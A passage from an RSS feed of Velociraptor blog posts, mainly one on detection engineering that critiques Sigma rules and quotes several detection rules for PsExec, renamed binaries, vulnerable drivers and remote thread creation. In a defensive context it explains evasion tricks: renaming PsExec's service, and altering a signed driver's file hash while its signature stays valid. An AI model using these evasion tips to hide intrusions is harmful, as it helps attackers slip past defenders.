exploited systems&#xA;by searching for residual printer drivers in the spools directory. We&#xA;enriched our detection using Authenticode signature verification, file&#xA;timestamps, file hashes and PE attributes (like the import/export&#xA;table) to quickly determine which drivers were legitimate and which&#xA;could indicate past exploitation.&lt;/p&gt;&#xA;&lt;p&gt;We can collect this information from the entire Velociraptor fleet in&#xA;minutes by simply running a “hunt” over the deployment.&lt;/p&gt;&#xA;&lt;p&gt;We have uploaded our query and a version to monitor print driver creation in the form of a VQL artifact to the&#xA;Velociraptor &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;“Artifact Exchange”&lt;/a&gt; - a central place for the community&#xA;to share Velociraptor artifacts. This saves time for other&#xA;Velociraptor users, who can simply reuse our work and quickly hunt the&#xA;artifact across their entire deployment to determine if they were&#xA;previously exploited by this vulnerability.&lt;/p&gt;&#xA;&lt;p&gt;If you would like to try hunting for this indicator, take Velociraptor&#xA;for a spin! It is available on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open source license. As&#xA;always, please file issues on the bug tracker or ask questions on our&#xA;mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;. You can also chat&#xA;with us directly on discord at &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Detection Engineering</title>
      <link>https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering/</link>
      <pubDate>Wed, 08 May 2024 23:25:17 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;  &#34;&gt;&lt;p&gt;This post accompanies the presentation &lt;a href=&#34;https://present.velocidex.com/presentations/2024-auscert-detection_engineering/index.html&#34; target=&#34;_blank&#34; &gt;Advances in Detection Engineering&lt;/a&gt; presented at the annual &lt;a href=&#34;https://conference.auscert.org.au/program/&#34; target=&#34;_blank&#34; &gt;Auscert 2024 Conference&lt;/a&gt; on the 24th May 2024&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;As defenders, we rely on having an efficient and effective detection&#xA;capabilities so we can shut down attacks quickly before the damage is&#xA;done. To do this effectively, defenders rely on automated detection,&#xA;driven by specific rules. While there are many detection platforms&#xA;available with different ways of writing rules, there is a lot of&#xA;commonality in the type of rules that are needed for effective&#xA;detection - this new discipline is called &amp;ldquo;Detection Engineering&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-detection-engineering&#34;&gt;What is Detection Engineering?&lt;/h2&gt;&#xA;&lt;p&gt;While intrusion detection systems and tools have always been in use in&#xA;the enterprise space, it has only been a recent realization that tools&#xA;alone are not sufficient for effective detection. Organizations must&#xA;dedicate resources and expertise to specialists in tuning and&#xA;architecting effective detection system.&lt;/p&gt;&#xA;&lt;p&gt;The discipline of &lt;code&gt;Detection Engineering&lt;/code&gt; is a science of writing,&#xA;maintaining and testing detection rules and systems against an&#xA;evolving threat landscape. It is now considered an important integral&#xA;part for an effective and mature security program.&lt;/p&gt;&#xA;&lt;p&gt;This blog post discusses some of the challenges in testing and&#xA;maintaining detection rules, specifically Sigma rules. We also cover&#xA;some emerging scenarios where detection engineering can be employed,&#xA;such as in Forensic Triage and wider Threat Hunting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;traditional-siem-based-detection&#34;&gt;Traditional SIEM based detection&lt;/h2&gt;&#xA;&lt;p&gt;Traditionally detection focuses on event logs as the main source of&#xA;information. Event logs are parsed and shipped from the endpoints to a&#xA;central data mining server where queries are run over the data.&lt;/p&gt;&#xA;&lt;p&gt;For example, using the ELK stack, the Winlogbeats endpoint agent:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Parses certain raw event logs on the endpoint (For example Sysmon&#xA;event log)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Applies normalization of fields (mostly renaming fields) to the&#xA;Elastic Common Schema (ECS).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Forwards events to an Elastic Cluster.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Queries are run on the Elastic cluster using a specialized query&#xA;language to detect anomalies.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Other stacks collect different sources, implement different&#xA;normalization process and have different query languages and dialects.&lt;/p&gt;&#xA;&lt;p&gt;When comparing various detection technologies we can see that although&#xA;the basic principals are similar (collect logs, normalize logs into a&#xA;schema, forward to data mining system and then query the data) the&#xA;specifics are very different.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/edr_env_.svg&#34; alt=&#34;&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;878.888889&#34;&#xA;         width=&#34;1425.555556&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;edr_env.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-sigma-rule-format&#34;&gt;The Sigma Rule format&lt;/h2&gt;&#xA;&lt;p&gt;Because each system is different, it is difficult to exchange&#xA;detection rules within the community. For example an Elastic query&#xA;might apply to those running the ELK stack but will not be applicable&#xA;to those running Splunk or another system.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Sigma&lt;/code&gt; standard was designed to try to address the situation by&#xA;creating another layer of abstraction over the actual detection stack,&#xA;in order to facilitate rule exchange. The hope is that rules can be&#xA;immediately usable across different detection stacks.&lt;/p&gt;&#xA;&lt;p&gt;This is achieved by defining an abstract YAML based format for writing&#xA;detection rules. These rules are then fed to specialized &lt;code&gt;Sigma Compilers&lt;/code&gt; to produce stack specific queries for difference SIEM&#xA;vendors.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/sigma_architecture_.svg&#34; alt=&#34;&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;1295.3333333333335&#34;&#xA;         width=&#34;1032.2222222222222&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sigma_architecture.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Sigma addresses the differences between the detection stacks by&#xA;introducing abstractions at various levels:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The differences in internal Schema normalization is addressed by&#xA;abstracting field names. Rather than selecting a standard, well&#xA;defined taxonomy of field names, Sigma leaves the precise fields&#xA;allowed within a rule to the Sigma Compiler &lt;code&gt;Field Mapping&lt;/code&gt;&#xA;configuration.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Different detection stacks collect different event logs. However,&#xA;instead of specifying the precise event logs a rule applies to,&#xA;Sigma defines an abstract &lt;code&gt;log source&lt;/code&gt; which is mapped to the&#xA;concrete source using the Sigma Compiler&amp;rsquo;s &lt;code&gt;Log Source Mappings&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This lack of rigorous definitions leads to inaccuracies and&#xA;compatibility problems as we shall see shortly, however let&amp;rsquo;s first&#xA;examine a typical &lt;code&gt;Sigma Rule&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;logsource:&#xA;    category: process_creation&#xA;    product: windows&#xA;detection:&#xA;    process_creation:&#xA;        EventID: 4688&#xA;        Channel: Security&#xA;    selection:&#xA;        -   CommandLine|contains|all:&#xA;                - \AppData\Roaming\Oracle&#xA;                - \java&#xA;                - &#39;.exe &#39;&#xA;        -   CommandLine|contains|all:&#xA;                - cscript.exe&#xA;                - Retrive&#xA;                - &#39;.vbs &#39;&#xA;    condition: process_creation and selection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;log-sources&#34;&gt;Log sources&lt;/h3&gt;&#xA;&lt;p&gt;Sigma rules are written to target certain events from particular log&#xA;sources. The Sigma rule specifies the log source in the &lt;code&gt;logsource&lt;/code&gt;&#xA;section, breaking it by category, product and service etc.&lt;/p&gt;&#xA;&lt;p&gt;This example rule specifies that it applies on events collected from&#xA;the &lt;code&gt;process_creation&lt;/code&gt; log. But what does &lt;code&gt;process_creation&lt;/code&gt; mean&#xA;exactly?  The &lt;a href=&#34;https://sigmahq.io/docs/basics/log-sources.html&#34; target=&#34;_blank&#34; &gt;Sigma&#xA;documentation&lt;/a&gt; doesn&amp;rsquo;t&#xA;really specify what that means.&lt;/p&gt;&#xA;&lt;p&gt;Typically we can get process creation information for various sources,&#xA;for example &lt;code&gt;Sysmon Event ID 1&lt;/code&gt; is a common source of process&#xA;creation. Similarly the Windows &lt;code&gt;Security Log&lt;/code&gt; generates &lt;code&gt;Event ID 4688&lt;/code&gt;. Of course we could always forward events from a local EDR or&#xA;other security software which records process execution, but the&#xA;rule&amp;rsquo;s &lt;code&gt;logsource&lt;/code&gt; section does not specify precisely what the event&#xA;log actually is.&lt;/p&gt;&#xA;&lt;h3 id=&#34;field-mappings&#34;&gt;Field mappings&lt;/h3&gt;&#xA;&lt;p&gt;The above rule specifies a &lt;code&gt;detection&lt;/code&gt; section. This section consists&#xA;of a condition which when satisfied, causes the rule to fire. The&#xA;above rule compares the command line to a number of strings. The rule&#xA;refers to the command line using the &lt;code&gt;CommandLine&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;In practice, the event itself consists of various fields, but the&#xA;exact name of each field depends on the data normalization that takes&#xA;place at the sensor level. For example Elastic Common Schema&#xA;&lt;a href=&#34;https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-command-line&#34; target=&#34;_blank&#34; &gt;normalizes&lt;/a&gt;&#xA;the &lt;code&gt;CommandLine&lt;/code&gt; field to &lt;code&gt;process.command_line&lt;/code&gt; in the ECS Schema.&lt;/p&gt;&#xA;&lt;p&gt;Therefore &lt;code&gt;Sigma&lt;/code&gt; uses a target-specific translation between abstract&#xA;Sigma fields to the actual field in the event record in the target&#xA;SIEM. This translation is called &lt;code&gt;Field Mapping&lt;/code&gt; and depends on the&#xA;target detection stack used and its event normalization (and to some&#xA;extent its own configuration).&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-sigma-rules-effectively&#34;&gt;Using Sigma Rules effectively&lt;/h3&gt;&#xA;&lt;p&gt;When using &lt;code&gt;Sigma rules&lt;/code&gt; in practice, there are many false&#xA;positive. Usually the rules need to be tailored for the&#xA;environment. For example, in some environments running &lt;code&gt;PsExec&lt;/code&gt; is a&#xA;common practice between system administrators and so alerting on&#xA;lateral movement using &lt;code&gt;PsExec&lt;/code&gt; is going to be a false positive.&lt;/p&gt;&#xA;&lt;p&gt;The detection engineer&amp;rsquo;s main challenge is to understand what rules&#xA;can be ignored and how they can be bypassed. This takes a lot of&#xA;practice and experience.&lt;/p&gt;&#xA;&lt;p&gt;Consider the following &lt;a href=&#34;https://github.com/Yamato-Security/hayabusa-rules/blob/dfcce330da37d49610f63f7923ba54dc5d930c9a/hayabusa/builtin/System/Sys_7045_Med_LateralMovement-PSEXEC.yml&#34; target=&#34;_blank&#34; &gt;Sigma&#xA;rule&lt;/a&gt;&#xA;excerpt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: PSExec Lateral Movement&#xA;logsource:&#xA;    product: windows&#xA;    service: system&#xA;detection:&#xA;    selection:&#xA;        Channel: System&#xA;        EventID: 7045&#xA;    selection_PSEXESVC_in_service:&#xA;        Service: PSEXESVC&#xA;    selection_PSEXESVC_in_path:&#xA;        ImagePath|contains: PSEXESVC&#xA;    condition: selection and (selection_PSEXESVC_in_service or selection_PSEXESVC_in_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule detects when a new service is created with the name&#xA;&lt;code&gt;PSEXESVC&lt;/code&gt; or a service is created with that name included in the path.&#xA;While this is the default behavior of &lt;code&gt;PsExec&lt;/code&gt; it is trivial to bypass this&#xA;rule. Viewing the &lt;a href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/psexec&#34; target=&#34;_blank&#34; &gt;PsExec&#xA;Documentation&lt;/a&gt;&#xA;we can see that the &lt;code&gt;-r&lt;/code&gt; flag can change this service name to anything&#xA;while the filename itself can be changed as well.&lt;/p&gt;&#xA;&lt;p&gt;An experienced detection engineer will recognize that better telemetry&#xA;can help detect when a program is renamed by using the&#xA;&lt;code&gt;OriginalFileName&lt;/code&gt; field from Sysmon&amp;rsquo;s process execution logs with &lt;a href=&#34;https://github.com/SigmaHQ/sigma/blob/6412c1a02bb60e631c6d341f6fc41d6f3c507f98/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml&#34; target=&#34;_blank&#34; &gt;the following rule&lt;/a&gt; excerpt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Potential Defense Evasion Via Rename Of Highly Relevant Binaries&#xA;author: Matthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113&#xA;logsource:&#xA;    category: process_creation&#xA;    product: windows&#xA;detection:&#xA;    selection:&#xA;      - Description: &#39;Execute processes remotely&#39;&#xA;      - Product: &#39;Sysinternals PsExec&#39;&#xA;      - OriginalFileName:&#xA;          - &#39;psexec.exe&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is an excellent example where additional information (in the form&#xA;of the executable&amp;rsquo;s &lt;code&gt;VersionInformation&lt;/code&gt; resource) gathered from the&#xA;endpoint can help improve detection efficiency significantly. We will&#xA;see below how adding more details to the collected data (perhaps&#xA;beyond the event log itself) can vastly improve the quality and&#xA;fidelity of detection rules.&lt;/p&gt;&#xA;&lt;p&gt;As a second example, let&amp;rsquo;s explore the use of hashes in detection&#xA;rules. Consider the &lt;a href=&#34;https://github.com/SigmaHQ/sigma/blob/6412c1a02bb60e631c6d341f6fc41d6f3c507f98/deprecated/windows/driver_load_win_vuln_lenovo_driver.yml&#34; target=&#34;_blank&#34; &gt;following&#xA;rule&lt;/a&gt;&#xA;excerpt which detects the loading of a known vulnerable driver:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Vulnerable Lenovo Driver Load&#xA;author: Florian Roth (Nextron Systems)&#xA;logsource:&#xA;    category: driver_load&#xA;        product: windows&#xA;detection:&#xA;    selection_sysmon:&#xA;        Hashes|contains:&#xA;        - &#39;SHA256=F05B1EE9E2F6AB704B8919D5071BECBCE6F9D0F9D0BA32A460C41D5272134ABE&#39;&#xA;        - &#39;SHA1=B89A8EEF5AEAE806AF5BA212A8068845CAFDAB6F&#39;&#xA;        - &#39;MD5=B941C8364308990EE4CC6EADF7214E0F&#39;&#xA;    selection_hash:&#xA;        - sha256: &#39;f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe&#39;&#xA;        - sha1: &#39;b89a8eef5aeae806af5ba212a8068845cafdab6f&#39;&#xA;        - md5: &#39;b941c8364308990ee4cc6eadf7214e0f&#39;&#xA;    condition: 1 of selection*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Attackers often load vulnerable drivers so they can exploit them to&#xA;gain access to kernel space. While it is well known that hashes are&#xA;usually a weak signal (because the attacker can trivially change the&#xA;file) in the case of loaded drivers, the driver must be signed to be&#xA;successfully inserted into the kernel.&lt;/p&gt;&#xA;&lt;p&gt;This had led to a misconception that driver files cannot be&#xA;modified - otherwise their digital signature will be invalidated&#xA;making them unable to be loaded into the kernel.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately this is not true - a signed binary file&#xA;can easily be modified in such as a way that it&amp;rsquo;s authenticode hash&#xA;(which is signed) remains the same but its file hash changes. This is&#xA;because a file hash covers the entire file, while the authenticode&#xA;hash only covers selected regions of the binary. It is very easy to&#xA;modify a binary in those regions which are not covered by the&#xA;authenticode hash (usually some padding areas towards the end of the&#xA;file) while retaining its authenticode hash.&lt;/p&gt;&#xA;&lt;p&gt;An experienced detection engineer is aware of this shortcoming and&#xA;would not use hashes directly in a Sigma rule. Instead &lt;a href=&#34;https://github.com/SigmaHQ/sigma/blob/6412c1a02bb60e631c6d341f6fc41d6f3c507f98/rules/windows/driver_load/driver_load_win_vuln_hevd_driver.yml&#34; target=&#34;_blank&#34; &gt;the following&#xA;rule&lt;/a&gt;&#xA;may be used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Vulnerable HackSys Extreme Vulnerable Driver Load&#xA;author: Nasreddine Bencherchali (Nextron Systems)&#xA;logsource:&#xA;    product: windows&#xA;    category: driver_load&#xA;detection:&#xA;    selection_name:&#xA;        ImageLoaded|endswith: &#39;\HEVD.sys&#39;&#xA;    selection_sysmon:&#xA;        Hashes|contains:&#xA;        - &#39;IMPHASH=f26d0b110873a1c7d8c4f08fbeab89c5&#39; # Version 3.0&#xA;        - &#39;IMPHASH=c46ea2e651fd5f7f716c8867c6d13594&#39; # Version 3.0&#xA;    selection_other:&#xA;        Imphash:&#xA;        - &#39;f26d0b110873a1c7d8c4f08fbeab89c5&#39; # Version 3.0&#xA;        - &#39;c46ea2e651fd5f7f716c8867c6d13594&#39; # Version 3.0&#xA;    condition: 1 of selection*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule uses the &lt;code&gt;ImpHash&lt;/code&gt; which is a hash of the import table of&#xA;the executable. Since the import table &lt;strong&gt;is&lt;/strong&gt; covered within the&#xA;authenticode hash it is not possible to modify the binary in such a&#xA;way that its digital signature remains valid while the &lt;code&gt;ImpHash&lt;/code&gt;&#xA;changes.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Sysmon Hash Reporting &#34;&gt;&lt;p&gt;Sadly Sysmon currently does not report the &lt;strong&gt;Authenticode Hash&lt;/strong&gt; of&#xA;the binary which would be ideal as it can not be changed without&#xA;invalidating the signature and covers all the important parts of the&#xA;executable file. Currently Sysmon only reports file hashes (which are&#xA;easily changed) and &lt;code&gt;ImpHash&lt;/code&gt; which can be easily changed as well&#xA;but will invalidate signature.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;sigma-shortcomings&#34;&gt;Sigma shortcomings&lt;/h2&gt;&#xA;&lt;p&gt;While Sigma rules are supposed to be directly usable between detection&#xA;stacks, by simply changing the compiler backend. However this is rarely the&#xA;case.  Because the Sigma standard is not well specified and lacks a&#xA;common taxonomy it is difficult to use a rule designed to operate on&#xA;the output of Sysmon event logs with a detection stack that only uses&#xA;System logs or EDR logs.&lt;/p&gt;&#xA;&lt;p&gt;For example, in the above example rule, we see that the rule requires&#xA;the &lt;code&gt;Channel&lt;/code&gt; to match &lt;code&gt;Security&lt;/code&gt; and the &lt;code&gt;EventID&lt;/code&gt; to match &lt;code&gt;4688&lt;/code&gt; -&#xA;clearly this rule can only apply on the security event log&#xA;source. Replacing the log source with Sysmon provided events (which do&#xA;technically provide the &lt;code&gt;process_creation&lt;/code&gt; log source) will simply&#xA;never fire this rule!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Sanitizing Sigma Rules &#34;&gt;&lt;p&gt;Because the &lt;code&gt;logsource&lt;/code&gt; section of the Sigma specification is not&#xA;really specific enough, most rules have a further &lt;code&gt;detection&lt;/code&gt; clause&#xA;to better define the precise log source. Although technically it is&#xA;not always accurate to use that clause instead of the &lt;code&gt;logsource&lt;/code&gt;&#xA;because the clause can be use in an arbitrary logical context, most of&#xA;the time it is a filter so can be taken as a substitute for the real&#xA;log source.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;logsource&lt;/code&gt; section is simply redundant at best and misleading at&#xA;worst; a user can assume the rule will detect an attack when Sysmon&#xA;logs are available but this is simply not the case. It would be better&#xA;if Sigma rules were less ambiguous and simply contained precise log&#xA;source information.&lt;/p&gt;&#xA;&lt;p&gt;There is also little error checking due to a lack of precise&#xA;taxonomy. A sigma rule can specify an unknown field that is simply not&#xA;present in the event but there is no way to know that the rule will&#xA;fail to match. Apart from the obvious problem of a rule specifying a&#xA;mis-typed field, the field may not be collected at all from the&#xA;endpoint.&lt;/p&gt;&#xA;&lt;p&gt;The example above uses the &lt;code&gt;CommandLine&lt;/code&gt; field of the System event&#xA;4688, however this is not always present! According to the &lt;a href=&#34;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing&#34; target=&#34;_blank&#34; &gt;Microsoft&#xA;Documentation&lt;/a&gt;&#xA;this field is only present sometimes:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In order to see the additions to event ID 4688, you must enable the&#xA;new policy setting: Include command line in process creation events.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Without knowledge of the endpoint policy in the specific deployment it&#xA;is impossible to know if this rule will ever fire.&lt;/p&gt;&#xA;&lt;p&gt;The following example rule is invalid and exists within &lt;a href=&#34;https://github.com/SigmaHQ/sigma/blob/6412c1a02bb60e631c6d341f6fc41d6f3c507f98/rules/windows/create_remote_thread/create_remote_thread_win_susp_uncommon_source_image.yml&#34; target=&#34;_blank&#34; &gt;the official&#xA;Sigma repository&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;title: Remote Thread Creation By Uncommon Source Image&#xA;logsource:&#xA;    product: windows&#xA;    category: create_remote_thread&#xA;detection:&#xA;    create_remote_thread:&#xA;        EventID: 8&#xA;        Channel: Microsoft-Windows-Sysmon/Operational&#xA;    selection:&#xA;        SourceImage|endswith:&#xA;            - \bash.exe&#xA;            - \cscript.exe&#xA;            ...&#xA;            - \wmic.exe&#xA;            - \wscript.exe&#xA;    filter_main_winlogon_1:&#xA;        SourceImage: C:\Windows\System32\winlogon.exe&#xA;        TargetImage:&#xA;            - C:\Windows\System32\services.exe&#xA;            - C:\Windows\System32\wininit.exe&#xA;            - C:\Windows\System32\csrss.exe&#xA;    filter_main_winlogon_2:&#xA;        SourceImage: C:\Windows\System32\winlogon.exe&#xA;        TargetParentImage: System&#xA;        TargetParentProcessId: 4&#xA;        ...&#xA;    condition: create_remote_thread and (selection and not 1 of filter_main_* and&#xA;        not 1 of filter_optional_*)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At first sight this looks like a good rule - It targets Sysmon process&#xA;execution logs (EventID 8) using a channel detection section (the&#xA;&lt;code&gt;logsource&lt;/code&gt; section is as usual meaningless and should be&#xA;ignored). However on very close examination we can see this rule&#xA;references the fields &lt;code&gt;TargetParentProcessId&lt;/code&gt; and&#xA;&lt;code&gt;TargetParentImage&lt;/code&gt;. Consulting the &lt;a href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-8-createremotethread&#34; target=&#34;_blank&#34; &gt;Sysmon&#xA;Documentation&lt;/a&gt;&#xA;we can see that there is no such field in the Sysmon output. Therefore&#xA;this rule will generally not work for standard Sysmon installs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;on-endpoint-detection&#34;&gt;On-endpoint detection&lt;/h2&gt;&#xA;&lt;p&gt;The previously described model relies on forwarding events from the&#xA;endpoint to a central location, where detection is actually made. This&#xA;approach is challenging in practice:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is a trade-off between the volume and type of events relayed&#xA;to the SIEM: On a typical Windows system there are hundreds of&#xA;different event logs and event types. It is impossible to forward&#xA;all events from the endpoint to the SIEM without increasing the&#xA;network, storage and processing cost on the SIEM itself. A choice&#xA;must be made of which events to forward.&lt;/li&gt;&#xA;&lt;li&gt;Some of the normalization steps taken aim to reduce the total data&#xA;transferred by removing some redundant fields from certain&#xA;events. We have already seen before that &lt;code&gt;CommandLine&lt;/code&gt; for Event ID&#xA;4688 is an optional field which needs to be deliberately enabled in&#xA;practice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Detection capabilities are slowly migrating from a purely centralized&#xA;detection engine that processes forwarded events from the endpoint, to&#xA;more endpoint-focused detection capabilities where the endpoint can&#xA;autonomously enrich and respond to detection events. This allows the&#xA;endpoint to triage the events by applying detection rules on the&#xA;endpoint directly. Therefore only high value events are forwarded to&#xA;the SIEM.&lt;/p&gt;&#xA;&lt;h2 id=&#34;case-study-velociraptor&#34;&gt;Case study: Velociraptor&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a powerful endpoint incident response and triaging&#xA;tool. At its core, Velociraptor uses the Velociraptor Query Languages&#xA;(VQL) to perform flexible triaging on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Recently, Velociraptor gained a native &lt;code&gt;sigma()&lt;/code&gt; plugin, allowing the&#xA;endpoint agent to directly evaluate Sigma rules. A VQL artifact is&#xA;sent to the endpoint over the network containing several main&#xA;sections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A set of &lt;code&gt;Sigma&lt;/code&gt; rules to evaluate&lt;/li&gt;&#xA;&lt;li&gt;A list of &lt;code&gt;logsource&lt;/code&gt; queries to evaluate directly from the on disk&#xA;event log files.&lt;/li&gt;&#xA;&lt;li&gt;A mapping between Sigma rules and their corresponding event fields.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering//blog/2024/2024-05-09-detection-engineering/velociraptor_sigma_flow_.svg&#34; alt=&#34;Velociraptor Sigma Workflow&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;525.4545454545455&#34;&#xA;         width=&#34;1082.383226927995&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;velociraptor_sigma_flow.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Velociraptor Sigma Workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptor-curated-rules&#34;&gt;Velociraptor curated rules&lt;/h2&gt;&#xA;&lt;p&gt;As described previously, it is difficult to directly use &lt;code&gt;Sigma&lt;/code&gt; rules&#xA;without careful verification. The &lt;a href=&#34;https://sigma.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor Sigma&#xA;Project&lt;/a&gt; implements a Velociraptor&#xA;artifact compiler which builds a VQL Artifact with a curated and&#xA;verified set of rules.&lt;/p&gt;&#xA;&lt;p&gt;The compiler verifies the following things&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Many rules do not have accurate &lt;code&gt;logsource&lt;/code&gt; sections but instead&#xA;specify the event log to be read in their first detection&#xA;clause. Therefore the compiler overrides the &lt;code&gt;logsource&lt;/code&gt; with a&#xA;more accurate source based on the &lt;code&gt;detection&lt;/code&gt; clause.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The compiler compares the known set of event fields to the set 